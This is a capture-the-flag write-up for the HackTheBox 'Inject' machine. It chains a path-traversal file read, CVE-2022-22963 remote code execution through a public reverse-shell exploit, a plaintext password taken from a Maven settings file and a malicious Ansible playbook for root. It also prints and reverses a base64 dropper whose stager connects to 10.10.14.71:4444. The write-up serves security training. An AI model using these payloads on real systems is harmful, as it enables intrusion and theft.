Inject writeup
23 April, 2023 00:00 CEST
INDEX
Enumeration
nmap -A -p- -T4 10.10.11.204
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA) | 256 d51c81c97b076b1cc1b429254b52219f (ECDSA) |_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519) 8080/tcp open nagios-nsca Nagios NSCA |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
gobuster dir -u http://inject.htb:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/register (Status: 200) [Size: 5654] /blogs (Status: 200) [Size: 5371] /upload (Status: 200) [Size: 1857] /environment (Status: 500) [Size: 712] /error (Status: 500) [Size: 106] /release_notes (Status: 200) [Size: 1086] /show_image (Status: 400) [Size: 194]
gobuster dns -d inject.htb -t 50 -w /usr/share/wordlists/seclist/Discovery/DNS/subdomains-top1million-20000.txt
gobuster vhost -u http://inject.htb:8080/ -w /usr/share/wordlists/seclist/Discovery/DNS/subdomains-top1million-20000.txt
Found: gc._msdcs Status: 400 [Size: 435] Found: _domainkey Status: 400 [Size: 435]
- I try the file upload functionality:
<form action="/upload" method="post" enctype="multipart/form-data"> <input class="form-control" name="file" type="file" id="formFile"><br /> <input type="submit" value="Upload" class="btn btn-warning"> </form>
I create a test txt file with
test
inside and I upload itPOST /upload HTTP/1.1 Host: inject.htb:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------21847287539462960801171425640 Content-Length: 223 Origin: http://inject.htb:8080 DNT: 1 Connection: close Referer: http://inject.htb:8080/upload Upgrade-Insecure-Requests: 1 -----------------------------21847287539462960801171425640 Content-Disposition: form-data; name="file"; filename="test.png" Content-Type: text/plain test -----------------------------21847287539462960801171425640--
On the website I can see:
<a class="text-success" href="/show_image?img=test.png">View your Image</a>
I open the image and this error appears:
<img src="http://inject.htb:8080/show_image?img=test.png" alt="The image “http://inject.htb:8080/show_image?img=test.png” cannot be displayed because it contains errors.">
The above error is browser-level, so I’m using Python to see what’s actually going on:
import requests with open('test.png', 'w') as f: f.write('test') with open('test.png', 'rb') as f: r = requests.post( 'http://inject.htb:8080/upload/', files={'file': f}, data={'filename':'test.png'} ) r = requests.get('http://inject.htb:8080/show_image?img=test.png') print(r.text)
Output:
test
- I edit the path to see if I get any errors:
http://inject.htb:8080/show_image?img=test.png/etc/passwd
{"timestamp":"2023-04-02T16:26:58.789+00:00","status":500,"error":"Internal Server Error","message":"URL [file:/var/www/WebApp/src/main/uploads/test.png/etc/passwd] cannot be resolved in the file system for checking its content length","path":"/show_image"}
Found the path where the web app is hosted:
/var/www/WebApp/src/main/
- Maybe there is a LFI:
http://inject.htb:8080/show_image?img=../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin frank:x:1000:1000:frank:/home/frank:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false sshd:x:113:65534::/run/sshd:/usr/sbin/nologin phil:x:1001:1001::/home/phil:/bin/bash fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin _laurel:x:997:996::/var/log/laurel:/bin/false
- I’m looking for the source files:
import requests import json import sys wordlist = sys.argv[1] lfipath = sys.argv[2] ext = sys.argv[3] with open(wordlist, 'r') as f: lines = f.readlines() for i in range(len(lines)): l = lines[i].strip() print(f'[{i}/{len(lines)}] /show_image?img={lfipath}{l}{ext}') r = requests.get(f'http://inject.htb:8080/show_image?img={lfipath}{l}{ext}') try: json.loads(r.text) except ValueError: with open('founds.txt', 'a') as ff: ff.write(f'filepath: {lfipath}{l}{ext}\n') ff.write(f'content:\n{r.text}\n') ff.write(f'-'*50) ff.write('\n')
I use the two wordlists:
- While searching for the source files, I noticed that the responses from the web server are delayed by a few seconds and above all that the response is none other than an
ls
of the selected directory. So for this reason the script can be reduced to a trivial one:import requests import sys r = requests.get(sys.argv[1]) print(r.text)
python3 httpget.py "http://inject.htb:8080/show_image?img=../"
java resources uploads
So server side java is present, I keep on enumerating
python3 httpget.py "http://inject.htb:8080/show_image?img=../java"
com META-INF
python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com"
example
python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com/example"
WebApp
python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com/example/WebApp"
user WebAppApplication.java
WebAppApplication.java
package com.example.WebApp; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class WebAppApplication { public static void main(String[] args) { SpringApplication.run(WebAppApplication.class, args); } }
Nothing interesting.
python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com/example/WebApp/user"
User.java UserController.java
User.java
//package com.example.WebApp.user; // //import org.hibernate.annotations.GeneratorType; //import org.hibernate.annotations.ValueGenerationType; // //import javax.persistence.*; // //@Entity //@Table(name = "zodd_users") //public class User { // @Id // @GeneratedValue(strategy = GenerationType.IDENTITY) // private Long id; // // @Column(nullable = false, unique = true, length = 45) // private String email; // // public String getPassword() { // return password; // } // // public void setPassword(String password) { // this.password = password; // } // // @Column(nullable = false, length = 64) // private String password; // private String firstName; // private String lastName; // // public Long getId() { // return id; // } // // public void setId(Long id) { // this.id = id; // } // // public String getEmail() { // return email; // } // // public void setEmail(String email) { // this.email = email; // } // // public String getFirstName() { // return firstName; // } // // public void setFirstName(String firstName) { // this.firstName = firstName; // } // // public String getLastName() { // return lastName; // } // // public void setLastName(String lastName) { // this.lastName = lastName; // } //}
UserController.java
package com.example.WebApp.user; import org.springframework.core.io.Resource; import org.springframework.core.io.UrlResource; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import java.nio.file.Path; import org.springframework.ui.Model; import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import javax.activation.*; import java.io.*; import java.net.MalformedURLException; import java.nio.file.Files; import java.nio.file.Paths; import java.nio.file.StandardCopyOption; @Controller public class UserController { private static String UPLOADED_FOLDER = "/var/www/WebApp/src/main/uploads/"; @GetMapping("") public String homePage(){ return "homepage"; } @GetMapping("/register") public String signUpFormGET(){ return "under"; } @RequestMapping(value = "/upload", method = RequestMethod.GET) public String UploadFormGet(){ return "upload"; } @RequestMapping(value = "/show_image", method = RequestMethod.GET) public ResponseEntity getImage(@RequestParam("img") String name) { String fileName = UPLOADED_FOLDER + name; Path path = Paths.get(fileName); Resource resource = null; try { resource = new UrlResource(path.toUri()); } catch (MalformedURLException e){ e.printStackTrace(); } return ResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource); } @PostMapping("/upload") public String Upload(@RequestParam("file") MultipartFile file, Model model){ String fileName = StringUtils.cleanPath(file.getOriginalFilename()); if (!file.isEmpty() && !fileName.contains("/")){ String mimetype = new MimetypesFileTypeMap().getContentType(fileName); String type = mimetype.split("/")[0]; if (type.equals("image")){ try { Path path = Paths.get(UPLOADED_FOLDER+fileName); Files.copy(file.getInputStream(),path, StandardCopyOption.REPLACE_EXISTING); } catch (IOException e){ e.printStackTrace(); } model.addAttribute("name", fileName); model.addAttribute("message", "Uploaded!"); } else { model.addAttribute("message", "Only image files are accepted!"); } } else { model.addAttribute("message", "Please Upload a file!"); } return "upload"; } @GetMapping("/release_notes") public String changelog(){ return "change"; } @GetMapping("/blogs") public String blogPage(){ return "blog"; } }
springframework is used and in the db maybe there could be a table named
zodd_users
python3 httpget.py "http://inject.htb:8080/show_image?img=../resources"
application.properties media META-INF static templates
application.properties
server.tomcat.relaxed-query-chars=|,{,},[,] server.error.whitelabel.enabled=false spring.main.allow-circular-references=true spring.servlet.multipart.max-file-size=1MB spring.servlet.multipart.max-request-size=2MB spring.cloud.config.uri= spring.cloud.config.allow-override=true debug=false server.error.include-message=always
Ok, tomcat is used as web server.
python3 httpget.py "http://inject.htb:8080/show_image?img=../uploads"
test.png
- I go up again to see other files:
python3 httpget.py "http://inject.htb:8080/show_image?img=../../"
main test
python3 httpget.py "http://inject.htb:8080/show_image?img=../../../"
.classpath .DS_Store .idea .project .settings HELP.md mvnw mvnw.cmd pom.xml src target
pom.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.6.5</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.example</groupId> <artifactId>WebApp</artifactId> <version>0.0.1-SNAPSHOT</version> <name>WebApp</name> <description>Demo project for Spring Boot</description> <properties> <java.version>11</java.version> </properties> <dependencies> <dependency> <groupId>com.sun.activation</groupId> <artifactId>javax.activation</artifactId> <version>1.2.0</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <scope>runtime</scope> <optional>true</optional> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-function-web</artifactId> <version>3.2.2</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.webjars</groupId> <artifactId>bootstrap</artifactId> <version>5.1.3</version> </dependency> <dependency> <groupId>org.webjars</groupId> <artifactId>webjars-locator-core</artifactId> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <version>${parent.version}</version> </plugin> </plugins> <finalName>spring-webapp</finalName> </build> </project>
Googling “spring boot 2.6.5 exploit” I find: https://github.com/ckkok/spring4shell-poc (CVE-2022-22965)
Other useful links:
- https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html
- https://github.com/BobTheShoplifter/Spring4Shell-POC
- https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc
- https://www.microsoft.com/en-us/security/blog/2022/04/04/springshell-rce-vulnerability-guidance-for-protecting-against-and-detecting-cve-2022-22965/
Impacted systems have the following traits: Running JDK 9.0 or later Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and earlier versions Apache Tomcat as the Servlet container: Packaged as a traditional Java web archive (WAR) and deployed in a standalone Tomcat instance; typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted Tomcat has spring-webmvc or spring-webflux dependencies
From the
pom.xml
file I see that neither of the two dependencies are present:spring-webmvc
orspring-webflux
. So this vulnerability is not exploitable on this system!
-
I keep looking for possible vulnerabilities from the
pom.xml
file and I find: https://sysdig.com/blog/cve-2022-22963-spring-cloud/Exploit: https://github.com/J0ey17/CVE-2022-22963_Reverse-Shell-Exploit/blob/main/exploit.py
python3 exploit.py -u "http://inject.htb:8080/"
python3 -c 'import pty; pty.spawn("/bin/bash")'
Privesc frank
- I run
linpeas.sh
╔══════════╣ Cleaned processes ╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes frank 826 3.5 10.0 3606460 401272 ? Ssl 06:55 3:28 /usr/bin/java -Ddebug -jar /var/www/WebApp/target/spring-webapp.jar
╔══════════╣ Searching root files in home dirs (limit 30) /home/ /home/phil/.bash_history /home/phil/user.txt /home/frank/.bash_history /home/frank/.m2/settings.xml /root/
╔══════════╣ Searching folders owned by me containing others files on it (limit 100) -rw-r----- 1 root frank 617 Jan 31 16:55 /home/frank/.m2/settings.xml ╔══════════╣ Readable files belonging to root and readable by me but not world readable -rw-r----- 1 root frank 617 Jan 31 16:55 /home/frank/.m2/settings.xml
╔══════════╣ Unexpected in /opt (usually empty) total 12 drwxr-xr-x 3 root root 4096 Oct 20 2022 . drwxr-xr-x 18 root root 4096 Feb 1 18:38 .. drwxr-xr-x 3 root root 4096 Oct 20 2022 automation
/home/frank/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?> <settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <servers> <server> <id>Inject</id> <username>phil</username> <password>DocPhillovestoInject123</password> <privateKey>${user.home}/.ssh/id_dsa</privateKey> <filePermissions>660</filePermissions> <directoryPermissions>660</directoryPermissions> <configuration></configuration> </server> </servers> </settings>
sshpass -p 'DocPhillovestoInject123' ssh phil@inject.htb
… it does not work!In the
/etc/ssh/sshd_config
file there isDenyUsers phil
so I can only login withsu - phil
.
Privesc root
-
I monitor processes with
pspy64
2023/04/25 18:46:01 CMD: UID=0 PID=70651 | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/ 2023/04/25 18:46:01 CMD: UID=0 PID=70650 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/ev.yml /opt/automation/tasks/playbook_1.yml 2023/04/25 18:46:01 CMD: UID=0 PID=70649 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 2023/04/25 18:46:01 CMD: UID=0 PID=70655 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 2023/04/25 18:46:01 CMD: UID=0 PID=70653 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/ev.yml 2023/04/25 18:46:01 CMD: UID=0 PID=70657 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
All YAML files in
/opt/automation/tasks/
folder are executed, can I write to them?ls -al /opt/automation/
drwxrwxr-x 2 root staff 4096 Apr 25 21:14 tasks
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
find / -group staff 2>/dev/null
/opt/automation/tasks /root
ls -al /
drwx------ 6 root staff 4096 Mar 6 13:15 root
I just have to create an evil YAML file:
- hosts: localhost tasks: - name: RShell command: bash /tmp/revshell.sh
Extra (just for fun)
- While running
pspy64
I stumbled upon this command and couldn’t resist reversing the binary:2023/04/25 17:22:42 CMD: UID=1000 PID=26889 | /bin/sh -c echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoKDkdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/ccXxY.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/ACsmb' < '/tmp/ccXxY.b64' ; chmod +x '/tmp/ACsmb' ; '/tmp/ACsmb' ; rm -f '/tmp/ACsmb' ; rm -f '/tmp/ccXxY.b64'
Spread over several lines it becomes:
/bin/sh -c echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoKDkdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== >> '/tmp/ccXxY.b64' ((which base64 >&2 && base64 -d -) ||\ (which base64 >&2 && base64 --decode -) ||\ (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) ||\ (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') ||\ (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)'))\ 2> /dev/null > '/tmp/ACsmb' < '/tmp/ccXxY.b64' chmod +x '/tmp/ACsmb' '/tmp/ACsmb' rm -f '/tmp/ACsmb' rm -f '/tmp/ccXxY.b64'
I disassemble the binary:
objdump -D -Mintel,x86-64 -b binary -m i386 /tmp/ACsmb
ACsmb: file format binary Disassembly of section .data: 00000000 <.data>: 0: 7f 45 jg 0x47 2: 4c rex.WR 3: 46 02 01 rex.RX add r8b,BYTE PTR [rcx] 6: 01 00 add DWORD PTR [rax],eax ... 10: 02 00 add al,BYTE PTR [rax] 12: 3e 00 01 ds add BYTE PTR [rcx],al 15: 00 00 add BYTE PTR [rax],al 17: 00 78 00 add BYTE PTR [rax+0x0],bh 1a: 40 00 00 rex add BYTE PTR [rax],al 1d: 00 00 add BYTE PTR [rax],al 1f: 00 40 00 add BYTE PTR [rax+0x0],al ... 32: 00 00 add BYTE PTR [rax],al 34: 40 00 38 add BYTE PTR [rax],dil 37: 00 01 add BYTE PTR [rcx],al 39: 00 00 add BYTE PTR [rax],al 3b: 00 00 add BYTE PTR [rax],al 3d: 00 00 add BYTE PTR [rax],al 3f: 00 01 add BYTE PTR [rcx],al 41: 00 00 add BYTE PTR [rax],al 43: 00 07 add BYTE PTR [rdi],al ... 51: 00 40 00 add BYTE PTR [rax+0x0],al 54: 00 00 add BYTE PTR [rax],al 56: 00 00 add BYTE PTR [rax],al 58: 00 00 add BYTE PTR [rax],al 5a: 40 00 00 rex add BYTE PTR [rax],al 5d: 00 00 add BYTE PTR [rax],al 5f: 00 fa add dl,bh 61: 00 00 add BYTE PTR [rax],al 63: 00 00 add BYTE PTR [rax],al 65: 00 00 add BYTE PTR [rax],al 67: 00 7c 01 00 add BYTE PTR [rcx+rax*1+0x0],bh 6b: 00 00 add BYTE PTR [rax],al 6d: 00 00 add BYTE PTR [rax],al 6f: 00 00 add BYTE PTR [rax],al 71: 10 00 adc BYTE PTR [rax],al 73: 00 00 add BYTE PTR [rax],al 75: 00 00 add BYTE PTR [rax],al 77: 00 31 add BYTE PTR [rcx],dh 79: ff 6a 09 jmp FWORD PTR [rdx+0x9] 7c: 58 pop rax 7d: 99 cdq 7e: b6 10 mov dh,0x10 80: 48 89 d6 mov rsi,rdx 83: 4d 31 c9 xor r9,r9 86: 6a 22 push 0x22 88: 41 5a pop r10 8a: 6a 07 push 0x7 8c: 5a pop rdx 8d: 0f 05 syscall 8f: 48 85 c0 test rax,rax 92: 78 51 js 0xe5 94: 6a 0a push 0xa 96: 41 59 pop r9 98: 50 push rax 99: 6a 29 push 0x29 9b: 58 pop rax 9c: 99 cdq 9d: 6a 02 push 0x2 9f: 5f pop rdi a0: 6a 01 push 0x1 a2: 5e pop rsi a3: 0f 05 syscall a5: 48 85 c0 test rax,rax a8: 78 3b js 0xe5 aa: 48 97 xchg rdi,rax ac: 48 b9 02 00 11 5c 0a movabs rcx,0x470e0a0a5c110002 b3: 0a 0e 47 b6: 51 push rcx b7: 48 89 e6 mov rsi,rsp ba: 6a 10 push 0x10 bc: 5a pop rdx bd: 6a 2a push 0x2a bf: 58 pop rax c0: 0f 05 syscall c2: 59 pop rcx c3: 48 85 c0 test rax,rax c6: 79 25 jns 0xed c8: 49 ff c9 dec r9 cb: 74 18 je 0xe5 cd: 57 push rdi ce: 6a 23 push 0x23 d0: 58 pop rax d1: 6a 00 push 0x0 d3: 6a 05 push 0x5 d5: 48 89 e7 mov rdi,rsp d8: 48 31 f6 xor rsi,rsi db: 0f 05 syscall dd: 59 pop rcx de: 59 pop rcx df: 5f pop rdi e0: 48 85 c0 test rax,rax e3: 79 c7 jns 0xac e5: 6a 3c push 0x3c e7: 58 pop rax e8: 6a 01 push 0x1 ea: 5f pop rdi eb: 0f 05 syscall ed: 5e pop rsi ee: 6a 7e push 0x7e f0: 5a pop rdx f1: 0f 05 syscall f3: 48 85 c0 test rax,rax f6: 78 ed js 0xe5 f8: ff e6 jmp rsi
Debugging:
gdb ACsmb
I load the program at the first instruction:
starti
I look at the next 15 instructions that will be executed:
display /15i $pc
=> 0x400078: xor %edi,%edi 0x40007a: push $0x9 0x40007c: pop %rax 0x40007d: cltd 0x40007e: mov $0x10,%dh 0x400080: mov %rdx,%rsi 0x400083: xor %r9,%r9 0x400086: push $0x22 0x400088: pop %r10 0x40008a: push $0x7 0x40008c: pop %rdx 0x40008d: syscall 0x40008f: test %rax,%rax 0x400092: js 0x4000e5 0x400094: push $0xa
Ok I’m here:
7c: 58 pop rax 7d: 99 cdq 7e: b6 10 mov dh,0x10 80: 48 89 d6 mov rsi,rdx 83: 4d 31 c9 xor r9,r9 86: 6a 22 push 0x22 88: 41 5a pop r10 8a: 6a 07 push 0x7 8c: 5a pop rdx 8d: 0f 05 syscall 8f: 48 85 c0 test rax,rax 92: 78 51 js 0xe5 94: 6a 0a push 0xa
I put breakpoints before each syscall to retrieve the number of the called function in the
rax
register:0x40008c: pop %rdx 0x40008d: syscall ... 0x4000a2: pop %rsi 0x4000a3: syscall ... 0x4000bf: pop %rax 0x4000c0: syscall ... 0x4000d8: xor %rsi,%rsi 0x4000db: syscall ... 0x4000ea: pop %rdi 0x4000eb: syscall
b *0x40008d
rax 0x9 9 rdi 0x0 0 rsi 0x1000 4096 rdx 0x7 7 r10 0x22 34 r8 0x0 0 r9 0x0 0
The site that I used to understand the syscalls parameters: https://filippo.io/linux-syscall-table/
9 mmap sys_mmap %rdi -> unsigned long addr %rsi -> unsigned long len %rdx -> unsigned long prot %r10 -> unsigned long flags %r8 -> unsigned long fd %r9 -> unsigned long off
So it’s:
mmap ( NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );
b *0x4000a3
rax 0x29 41 rdi 0x2 2 rsi 0x1 1 rdx 0x0 0
41 socket sys_socket %rdi -> int family %rsi -> int type %rdx -> int protocol
So it’s:
socket ( AF_INET, SOCK_STREAM, NULL );
in the third parameter 0 indicates that the caller does not want to specify the protocol and will leave it up to the service provider.
b *0x4000c0
rax 0x2a 42 rdi 0x3 3 rsi 0x7fffffffdec0 140737488346816 rdx 0x10 16
42 connect sys_connect %rdi -> int fd %rsi -> struct sockaddr __user * uservaddr %rdx -> int addrlen
https://pubs.opengroup.org/onlinepubs/7908799/xns/syssocket.h.html
struct sockaddr{ sa_family_t sa_family address family char sa_data[] socket address (variable-length data) };
I print the two bytes of
sa_family_t
:x/2bd 0x7fffffffdeb0
2
sa_family
has value 2, so it’sAF_INET
, nothing new!sa_data
as it saysaddrlen
is 16 bytes so I print them:x/16bx 0x7fffffffdeb0+2
0x7fffffffdeb2: 0x11 0x5c 0x0a 0x0a 0x0e 0x47 0x00 0x80 0x7fffffffdeba: 0xff 0xf7 0xff 0x7f 0x00 0x00 0x02 0x00
Looking at the network traffic I can understand the meaning of these bytes:
0x11 0x5c
=4444
= DST PORT0x0a 0x0a 0x0e 0x47
=10.10.14.71
= DST IP
So it’s:
connect ( 3, "10.10.14.71:4444", 16 );
The syscall does not generate traffic and crashes, skip it by going to the instruction after:
jump *0x4000c2
Or I could create a virtual interface with IP address
10.10.14.71
which will refuse the connection.b *0x4000db
rax 0x23 35 rdi 0x7fffffffdeb0 140737488346800 rsi 0x0 0
35 nanosleep sys_nanosleep %rdi -> struct timespec __user * rqtp %rsi -> struct timespec __user * rmtp
struct timespec { time_t tv_sec; /* seconds */ long tv_nsec; /* nanoseconds */ };
time_t
matches asigned integer
so I print its value withx/wd 0x7fffffffdeb0
5
I do the same for the second value:
x/gd 0x7fffffffdeb0+4
0
-
I stop before the
while true
JMP:b *0x4000e3
And next I jump to the next instruction:
j *0x4000e5
b *0x4000eb
rax 0x3c 60 rdi 0x1 1
60 exit sys_exit %rdi -> int error_code
So it’s:
exit ( 1 );
- A faster method but that gives me less freedom:
strace ./ACsmb
execve("./ACsmb", ["./ACsmb"], 0x7ffd18247980 /* 59 vars */) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7f6786bb9000 socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3 connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("10.10.14.71")}, 16) = -1 ECONNREFUSED (Connection refused) nanosleep({tv_sec=5, tv_nsec=0}, NULL) = 0 ... while true